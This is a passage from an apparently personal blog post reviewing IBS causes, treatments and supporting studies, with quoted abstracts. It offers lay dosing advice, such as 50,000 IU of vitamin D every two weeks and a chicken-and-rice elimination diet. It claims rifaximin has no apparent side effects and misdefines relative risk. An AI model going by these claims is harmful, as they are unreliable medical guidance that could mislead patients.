stool</em></td><td>Obese OR a smoker OR a user of anti-inflammatories/steroids</td><td>Diverticulitis</td></tr><tr><td>Constipation OR diarrhea OR <em>unexplained weight loss</em> OR fatigue</td><td><em>Over the age of 45 (especially over the age of 65)</em> OR <em>have a history of cancer</em></td><td>Colon cancer</td></tr><tr><td><em>Bloody diarrhea</em>&nbsp;</td><td></td><td>Ulcerative colitis</td></tr><tr><td>Diarrhea OR unexplained anemia OR <em>fever</em> OR <em>unexplained weight loss</em> OR growth retardation</td><td></td><td>Crohn\'s disease</td></tr><tr><td>Joint pain OR <em>cold intolerance</em> OR constipation OR depression OR heavy menstrual flow OR unexplained weight gain or <em>fatigue </em>OR hair loss</td><td><em>Female</em></td><td>Hypothyroidism</td></tr><tr><td>Diarrhea AND nausea OR vomiting OR weight loss</td><td><em>In an area with poor water quality or food hygiene standards</em></td><td>Giardia</td></tr><tr><td>Abdominal bloating OR gas OR&nbsp; distension OR diarrhea</td><td><em>A user of proton pump inhibitors (e.g. Prilosec) </em>OR <em>opioids</em> OR <em>gastric bypass</em> OR <em>colectomy</em></td><td>Small intestinal bacterial overgrowth (SIBO)</td></tr><tr><td>Diarrhea OR bloating OR fatigue OR anemia OR <em>unexplained blisters (dermatitis herpetiformis)</em></td><td><em>Type 1 diabetic</em></td><td>Celiac disease</td></tr><tr><td><em>Diarrhea</em></td><td></td><td>Bile acid malabsorption</td></tr><tr><td><em>Constipation</em></td><td><em>Over 65 </em>OR <em>African American</em> OR <em>pregnant/a mother</em></td><td>Dyssnergic defecation</td></tr><tr><td>Abdominal pain and bloating OR gas OR watery stool <em>following the ingestion of foods containing lactose</em></td><td>Black, Latino, or <em>Asian</em></td><td>Lactose intolerance</td></tr><tr><td>Diarrhea OR constipation OR brain fog OR joint/muscle pain, OR skin rash/dermatitis</td><td>Female OR in the third to fourth decade of life</td><td>Non celiac gluten sensitivity</td></tr><tr><td>Nausea and vomiting OR <em>feeling of fullness or burning in your stomach</em> OR blood in your vomit or stool.<br></td><td><em>In an area with poor water quality or food hygiene standards</em></td><td>H. pylori</td></tr><tr><td>Constipation OR diarrhea OR nausea OR <em>a feeling of early fullness</em></td><td></td><td>A motility disorder, like slow transit constipation</td></tr><tr><td></td><td>**RARE CONDITIONS FOLLOW BELOW (you probably don’t have these)**</td><td></td></tr><tr><td><em>Constipation since early childhood</em></td><td></td><td>Hirschsprung\'s disease</td></tr><tr><td>Chronic or intermittent watery diarrhea OR unexplained weight loss, OR joint pain<br></td><td>Over 65 OR female</td><td>Microscopic colitis</td></tr><tr><td><em>Flushing</em> OR diarrhea OR <em>shortness of breath</em> OR <em>palpitation</em></td><td></td><td>Carcinoid syndrome (part of carcinoid tumors)</td></tr><tr><td>Nausea OR vomiting, OR diarrhea OR anemia OR weight loss</td><td></td><td>Eosinophilic gastroenteritis</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:heading -->\n<h2>Steps to treat IBS</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you’ve made it through the whole list above and none of those apply to you, you probably just have IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s more likely you have IBS if you have a history of anxiety or depression, are female, or especially if you’ve <em>recently had a stomach bug</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now you’re looking for treatment. Good on you! My recommendations are to start with a food restriction diet. Take away everything but chicken and rice, then slowly add the rest back in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you have diarrhea, you might try a low FODMAP diet, eating small, regular portions, and/or limiting gassy foods like beans, cabbages, and onions.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you have constipation, you might try psyllium or linseed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you want to try medication, I’d recommend very high doses of cholecalciferol (Vitamin D3), like 50k IU every 2 weeks. You might also try peppermint oil for short term diarrhea relief.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That’s my short list. For my long list, including evaluation and limitations of treatments, read on!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>IBS Treatment Table</h3>\n<!-- /wp:heading -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td><strong>Potential IBS treatment</strong></td><td><strong>Evaluation</strong></td><td><strong>Limitations</strong></td></tr><tr><td>Low FODMAP</td><td>Low FODMAP diets seem to work. It doesn’t necessarily work better than just eating normal portions at regular times and reducing fat, insoluble fibers, caffeine, beans, cabbages, and onions. It works better if you have diarrhea.</td><td>The studies are only 1-3 months. It’s not clear what happens if you resume a normal diet after that time span.<br>The studies aren’t very well designed.</td></tr><tr><td>Gluten free diet (for non celiac)</td><td>It can work, but there’s not a big effect.</td><td>It only works for people who are sensitive to gluten (it’s not for anyone with IBS).</td></tr><tr><td>Fiber</td><td>Bran and insoluble fiber are probably not effective in any form of IBS.<br>Ispaghula (psyllium) and linseed, which are soluble fibers, are probably effective in all forms of IBS. Linseed seems like it’s probably better than psyllium.&nbsp;</td><td>All studies were done over a max of 1-3 months.<br>The studies aren’t very well designed.</td></tr><tr><td>Laxatives</td><td>Laxatives work.</td><td>They may not prevent constipation, especially in older patients</td></tr><tr><td>Anti spasmodics (dicyclomine, peppermint oil, pinaverium, trimebutine)</td><td>They have ok effects for abdominal pain and bigger effects for overall symptom scores.&nbsp;</td><td></td></tr><tr><td>Discontinuation of proton pump inhibitors</td><td>Not really a cure for IBS, but PPI overuse does lead to SIBO.</td><td></td></tr><tr><td>Antidepressants</td><td>Antidepressants probably work if your IBS is caused by depression or anxiety. It’s unclear whether they work if you don’t.</td><td>Antidepressants aren’t more effective in IBS than therapy.<br>It’s unclear if the type of antidepressant matters, but it most likely varies from person to person.</td></tr><tr><td>Rifaximin</td><td>Rifaximin can definitely benefit IBS-D, and may help IBS-C. It doesn’t seem to have any side effects.</td><td></td></tr><tr><td>Vitamin D3</td><td>Very high doses of vitamin D every 2 weeks (50,000 IU) probably improve IBS symptoms.</td><td>Taking really high doses of vitamin D can cause side effects. If you get side effects, stop taking vitamin D.</td></tr><tr><td>Soy isoflavones</td><td>Soy isoflavones may improve IBS in women.&nbsp;</td><td>There aren’t really good studies in men. There are no good long term studies either.</td></tr><tr><td>Acupuncture</td><td>Real acupuncture works just as well as fake acupuncture (having someone pretend to stick needles in you). Both work ok.</td><td></td></tr><tr><td>Probiotics</td><td>Probiotics may have a small effect.</td><td>The type of bacteria in the probiotic and the formulation matters a lot, as a lot of probiotics are useless or destroyed in the stomach.</td></tr><tr><td>Mesalazine</td><td>Mesalazine is probably not effective in IBS.</td><td></td></tr><tr><td>Loperamide</td><td>Loperamide is helpful for diarrhea and diarrhea-related symptoms.</td><td>There aren\'t great long-term studies. It may make pain at night worse.</td></tr><tr><td>Fecal microbiota transplant</td><td>Sometimes really helpful, sometimes not helpful at all.</td><td>Nasojejunal tube and colonoscopy seem like they work better than capsule for administration.</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:heading -->\n<h2>Evidence</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>How I evaluated the evidence</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Evaluating evidence is hard in general, and evaluating evidence in IBS is no exception.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ll list out those problems, then list how I tried to solve them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First, there are specific IBS issues.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>IBS has a variety of symptoms associated with it, and a treatment that fixes diarrhea will not necessarily fix constipation. This makes treatments difficult to measure in effectiveness. Some scientists try to make up for this by asking patients questions like, “Is your pain reduced?” or “Are you happy with your bowel movements?”, but those can be biased by treatments that treat only pain or depression without affecting IBS-specific symptoms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To solve this, I tried to tease out the various effects that treatments had on different symptoms of IBS when I could. I paid especially close attention to questions that could be biased, which was a particular issue in antidepressants, as those will obviously make people happier with any treatment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>IBS is also, obviously, really hard to diagnose. One study found that 30% of people with IBS-D actually have bile acid malabsorption. If that’s true, then 30% of the people in any IBS-D study don’t have IBS. What exactly does the study measure, then?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I didn’t have a good way of solving this, so I just hoped for the best.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>IBS studies are also often reliant on patient compliance, especially when testing dietary interventions like low FODMAP. This is...not great. <a href=\"https://journals.lww.com/ajg/Fulltext/2014/10002/Diet_Compliance_and_Its_Measurement_in_a_Clinical.1734.aspx\">This IBD study</a> found only 55% diet compliance (i.e. patients ate different food than prescribed almost half of the time). From my own experience, I had a girlfriend who did weight loss studies. Even when the study gave her food to take home, she would throw it out and just eat her own food because it tasted better. Needless to say, she did not tell the clinicians this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I tried to solve this by avoiding studies that were reliant on patient compliance and self-reporting. If I couldn’t avoid the studies, I relied on them less for my recommendations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, those are some IBS specific issues. Let’s talk about issues in general.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The gold standard for a trial is placebo-controlled, double-blind and randomized. Placebo-controlled means that half the people get a fake treatment, so the experimenters can weed out any people who would have gotten better regardless of if they got the control.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Double blind means that neither the patient nor the experimenters know whether they are getting a real treatment, so nobody can cheat on their measurements or reports if they have a belief one way or another. Last, randomized means people get randomly assigned to placebo or treatment, so we end up with the same sorts of people in both groups.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Reaching that gold standard is easier in some trials than in others. If we’re testing a treatment like gluten, it’s actually surprisingly easy if the experimenters are up for it. They just give every group a pill, and sometimes the pill contains wheat flour, sometimes rice flour. The experimenters don’t know which pills are which until all the measurements are done.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, if we’re testing a treatment like low FODMAP, it’s impossible. Everyone knows which diet is the low FODMAP diet. There’s no faking it for either side. So, if a patient really believes low FODMAP will work for them, they might be a little more lax with their reports, (if they’re between a 1 and 2 on a scale, they might choose 2 more often than 1). An experimenter might do the same.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I tried to notice when studies were falling away from the gold standard, but I don’t want to just throw away all studies that don’t reach that standard. Then I’d have to throw away a lot of potential useful treatments. Instead, I weighted my judgments accordingly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Once I was sure studies were performed well, I looked for consistently positive results. Any study can have a positive result once, especially if it’s a small study, in the same way that it’s easy to flip a coin 3 times and get all heads. But consistently getting heads when you flip a coin 100 times is a different story, and suggests there’s actually something there.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I also looked for consistent results across measures. A treatment should improve IBS severity, overall satisfaction, and symptoms. If it only improves one measure, it suggests that measure might have been a fluke.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I also looked for big results in the form of big effect sizes vs. placebo. When there are treatments that can almost quadruple the effects of placebo like vitamin D, small effects like mesalazine which might work ok for some people didn’t cut it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Last, I combined all these together and got my evaluations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>How I came up with my recommendations</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Some technical notes on how to read these.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>RR, which is relative risk, is basically the number with the bad outcome over the number with the good outcome. So, the smaller RR is, the better.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>CI, which is confidence interval, just accounts for error in the measurement. In the first study below, the RR is estimated to be 0.69, but it might be between 0.54 and 0.88.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I2 (which should really be I<sup>2</sup>) is a measure of “heterogeneity”, or how different the various effects are. The closer I2 gets to 100%, the greater the differences between studies (which makes you start to wonder why they’re so different).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>N, like n=39, is just how many patients there were in a specific group.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The P value, like P=0.62, is the likelihood that a difference found between treatments or conditions is a fluke. By convention, we use P&lt;0.05 to mean significant, as in there’s a less than 5% chance that the difference is a fluke.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[Note for statistics nerds: all the definitions above are rough definitions for a lay audience. If you know the definition better than that, then good on you! Please don’t send me angry messages over it.]</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My notes on each study are in <em>italics.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>FODMAP</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Low FODMAP diets seem to work, but the studies aren’t very good. It doesn’t necessarily work better than just eating regularly and reducing fat, insoluble fibers, caffeine, beans, cabbages, and onions. It works better if you have diarrhea.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All studies were done over 1-3 months.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://eprints.whiterose.ac.uk/134755/\">A Systematic Review and Meta-Analysis Evaluating the Efficacy of a Gluten-Free Diet and a Low FODMAPs Diet in Treating Symptoms of Irritable Bowel Syndrome - White Rose Research Online</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a meta-study for both gluten-free diet and low FODMAP. I used it to guide my thinking, but also looked at the studies myself.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;There were seven RCTs comparing a low FODMAP diet with various control interventions in 397 participants. A low FODMAP diet was associated with reduced global symptoms compared with control interventions (RR = 0.69; 95% CI 0.54 to 0.88; I2= 25%). The three RCTS that compared low FODMAP diet with rigorous control diets had the least heterogeneity between studies, but also the least magnitude of effect.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0016508515010860\">Diet Low in FODMAPs Reduces Symptoms of Irritable Bowel Syndrome as Well as Traditional Dietary Advice: A Randomized Controlled Trial - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Note that this study is relying on food diaries. This is an ok solution to problems of non compliance, but it’s not great, as people can still lie or misremember. Keeping a food diet for 4 weeks is hard! Also, there’s definitely an overlap between the low FODMAP diet and the normal diet. There’s also no placebo group.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Subjects were randomly assigned to groups that ate specific diets for 4 weeks—a diet low in FODMAPs (n = 38) or a diet frequently recommended for patients with IBS (ie, a regular meal pattern; avoidance of large meals; and reduced intake of fat, insoluble fibers, caffeine, and gas-producing foods, such as beans, cabbage, and onions), with greater emphasis on how and when to eat rather than on what foods to ingest (n = 37).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A total of 67 patients completed the dietary intervention (33 completed the diet low in FODMAPs, 34 completed the traditional IBS diet). The severity of IBS symptoms was reduced in both groups during the intervention (<em>P</em> &lt; .0001 in both groups before vs at the end of the 4-week diet), without a significant difference between the groups (<em>P</em> = .62). At the end of the 4-week diet period, 19 patients (50%) in the low-FODMAP group had reductions in IBS severity scores ≥50 compared with baseline vs 17 patients (46%) in the traditional IBS diet group (<em>P</em> = .72).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://gut.bmj.com/content/66/7/1241.short\">FODMAPs alter symptoms and the metabolome of patients with IBS: a randomised controlled trial | Gut (bmj.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study is looking directly at the metabolome, which is interesting, and should be more reliable than food diaries. The metabolome does seem to change a lot, which is interesting, but it’s weird to look at urine for the metabolome. Urine is not what would normally be affected by a change in diet.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;We performed a controlled, single blind study of patients with IBS (Rome III criteria) randomised to a low (n=20) or high (n=20) FODMAP diet for 3 weeks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thirty-seven patients (19 low FODMAP; 18 high FODMAP) completed the 3-week diet. The IBS-SSS was reduced in the low FODMAP diet group (p&lt;0.001) but not the high FODMAP group. LBTs showed a minor decrease in H2 production in the low FODMAP compared with the high FODMAP group. Metabolic profiling of urine showed groups of patients with IBS differed significantly after the diet (p&lt;0.01), with three metabolites (histamine, p-hydroxybenzoic acid, azelaic acid) being primarily responsible for discrimination between the two groups. Histamine, a measure of immune activation, was reduced eightfold in the low FODMAP group (p&lt;0.05).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0016508513014078\">A Diet Low in FODMAPs Reduces Symptoms of Irritable Bowel Syndrome - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a pretty good study. They provided food and they collected stool instead of urine or self-report. Again, there’s no placebo control, so that’s a problem, but this is probably as good as you’re going to get with a low FODMAP diet. I wish they had more people and over a longer term.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a study of 30 patients with IBS and 8 healthy individuals (controls, matched for demographics and diet), we collected dietary data from subjects for 1 habitual week. Participants then randomly were assigned to groups that received 21 days of either a diet low in FODMAPs or a typical Australian diet, followed by a washout period of at least 21 days, before crossing over to the alternate diet. Daily symptoms were rated using a 0- to 100-mm <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/visual-analog-scale\">visual analogue scale</a>. Almost all food was provided during the interventional diet periods, with a goal of less than 0.5 g intake of FODMAPs per meal for the <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/low-fodmap-diet\">low-FODMAP diet</a>. All stools were collected from days 17–21 and assessed for frequency, weight, water content, and King\'s Stool Chart rating.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Subjects with IBS had lower overall gastrointestinal symptom scores (22.8; 95% confidence interval, 16.7–28.8 mm) while on a diet low in FODMAPs, compared with the Australian diet (44.9; 95% confidence interval, 36.6–53.1 mm; <em>P</em> &lt; .001) and the subjects\' habitual diet. Bloating, pain, and passage of wind also were reduced while IBS patients were on the low-FODMAP diet. Symptoms were minimal and unaltered by either diet among controls. Patients of all IBS subtypes had greater satisfaction with stool consistency while on the low-FODMAP diet, but diarrhea-predominant IBS was the only subtype with altered fecal frequency and King\'s Stool Chart scores.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Gluten free diet (in non celiac)</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pretty good studies, but there’s not a big effect. All studies were done over 1-3 months.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://eprints.whiterose.ac.uk/134755/\"><strong>A Systematic Review and Meta-Analysis Evaluating the Efficacy of a Gluten-Free Diet and a Low FODMAPs Diet in Treating Symptoms of Irritable Bowel Syndrome - White Rose Research Online</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Again, same meta review.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Both selected patients that had already responded to a GFD, and then randomized them to continue the diet, or to have the diet “spiked” with gluten.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A GFD was associated with reduced global symptoms compared with a control diet (RR = 0.42; 95% CI 0.11 to 1.55; I2= 88%), although this was not statistically significant.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://pubmed.ncbi.nlm.nih.gov/21224837/\">Gluten causes gastrointestinal symptoms in subjects without celiac disease: a double-blind randomized placebo-controlled trial - PubMed (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Very skewed women:men ratio. This is “placebo controlled” with normal vs. gluten free muffins. It raises the question of whether the patients could tell the difference between the normal and gluten free muffins, which they probably could.&nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A total of 34 patients (aged 29-59 years, 4 men) completed the study as per protocol. Overall, 56% had human leukocyte antigen (HLA)-DQ2 and/or HLA-DQ8. Adherence to diet and supplements was very high. Of 19 patients (68%) in the gluten group, 13 reported that symptoms were not adequately controlled compared with 6 of 15 (40%) on placebo (P=0.0001; generalized estimating equation). On a visual analog scale, patients were significantly worse with gluten within 1 week for overall symptoms (P=0.047), pain (P=0.016), bloating (P=0.031), satisfaction with stool consistency (P=0.024), and tiredness (P=0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://pubmed.ncbi.nlm.nih.gov/26056920/\">Non-Celiac Gluten Sensitivity Has Narrowed the Spectrum of Irritable Bowel Syndrome: A Double-Blind Randomized Placebo-Controlled Trial - PubMed (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This one is a better placebo because they gave them gluten packets, which would be harder to tell taste wise from gluten free powder. However, the graphs, which I copied below, are terrible and clearly show overlap between placebo and gluten. I’m not a huge fan of this study or how they presented their information, but there does seem to be some effect.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>. In the second stage after six weeks, patients whose symptoms improved to an acceptable level were randomly divided into two groups; patients either received packages containing powdered gluten (35 cases) or patients received placebo (gluten free powder) (37 cases). Overall, the symptomatic improvement was statistically different in the gluten-containing group compared with placebo group in 9 (25.7%), and 31 (83.8%) patients respectively (p &lt; 0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/OD_XoemmNqpSI_F36_qSnOdqcc9dfpkSZ712k2WQA5RFcrtzeSOnjIQpKS-NGm2n4cGVGEZJqODkglWbw7YHMlXMmaUMX9D0k6B4zVOCye3-DKq-lFEdYV4wPmPieqk-TxUXtTO7\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Fiber</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Bran and insoluble fiber are probably not effective in any form of IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ispaghula (psyllium) and linseed, which are soluble fibers, are probably effective. Linseed seems like it’s probably better. It’s hard to tell because the studies aren’t very good.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All studies were done over a max of 1-3 months.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1038/ajg.2014.195\">Sci-Hub | The Effect of Fiber Supplementation on Irritable Bowel Syndrome: A Systematic Review and Meta-analysis | 10.1038/ajg.2014.195 (scihubtw.tw)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This meta analysis has a nice risk ratio graph, which is helpful for us. Note that all the results for bran span both sides of the line, so it’s unclear whether it works.&nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh3.googleusercontent.com/O5sBs_qNktbfm4SuhbhzTpMtWB1fNef6bxCWLu4dyA9of6pwe3xHG3f07vmFj36ZKSZnNV08lvZZmaHWbraGqJK0cUM0AmUNXHOz-c73e94R-Te8-6N73phF4cDZiVmlxHFsLExQ\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Laxatives</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Laxatives work, but they may not prevent constipation, especially in older patients.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>I didn’t feel like I had to really prove this one, to be honest. I got lazy.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://qualitysafety.bmj.com/content/10/4/268.short\">Effectiveness of laxatives in adults | BMJ Quality &amp; Safety</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Bulk&nbsp; (fibre&nbsp; based)&nbsp; laxatives&nbsp; and&nbsp; osmotic</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>laxatives (including lactulose and PEG) are</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>associated with increases in frequency and</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>improvements &nbsp; in &nbsp; stool &nbsp; consistency &nbsp; and</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>symptoms of constipation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Little evidence is available at present as to</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>the&nbsp; comparative&nbsp; effectiveness&nbsp; of&nbsp; bulk&nbsp; and</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>non-bulk laxatives.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There&nbsp; is&nbsp; no&nbsp; good&nbsp; evidence&nbsp; that&nbsp; laxatives</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>prevent constipation in older patients.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A&nbsp; stepped&nbsp; approach&nbsp; to&nbsp; laxative&nbsp; treatment</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>would seem justified, involving initial inter-</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>vention with cheaper laxatives, before pro-</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>ceeding to the more expensive alternatives.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There is a pressing need for large compara-</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>tive trials of diferent strategies for the man-</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>agement&nbsp; of&nbsp; constipation&nbsp; in&nbsp; adults.&nbsp; This</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>should include comparisons of the effectiveness of diferent classes of laxative.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Research is also required into the effectiveness&nbsp; of&nbsp; overall&nbsp; dietary&nbsp; change&nbsp; (including increased&nbsp; fluid&nbsp; intake)&nbsp; in&nbsp; the&nbsp; treatment&nbsp; of constipation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Anti spasmodics (dicylomine, peppermint oil, pinaverium, trimebutine)</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They have ok effects for abdominal pain and bigger effects for overall symptom scores.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.cochranelibrary.com/cdsr/doi/10.1002/14651858.CD003460.pub3/full\">Bulking agents, antispasmodics and antidepressants for the treatment of irritable bowel syndrome - Ruepert, L - 2011 | Cochrane Library</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a Cochrane review paper. Cochrane is usually seen as the gold standard for reviews, although they’re often too strict.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Also, note that they reverse RR, so RR above 1 is good.&nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There was a beneficial effect for antispasmodics over placebo for improvement of abdominal pain (58% of antispasmodic patients improved compared to 46% of placebo; 13 studies; 1392 patients; RR 1.32; 95% CI 1.12 to 1.55; P &lt; 0.001; NNT = 7), global assessment (57% of antispasmodic patients improved compared to 39% of placebo; 22 studies; 1983 patients; RR 1.49; 95% CI 1.25 to 1.77; P &lt; 0.0001; NNT = 5) and symptom score (37% of antispasmodic patients improved compared to 22% of placebo; 4 studies; 586 patients; RR 1.86; 95% CI 1.26 to 2.76; P &lt; 0.01; NNT = 3). Subgroup analyses for different types of antispasmodics found statistically significant benefits for cimteropium/ dicyclomine, peppermint oil, pinaverium and trimebutine. Separate analysis of the studies with adequate allocation concealment found a significant benefit for improvement of abdominal pain.&nbsp;</p>\n<!-- 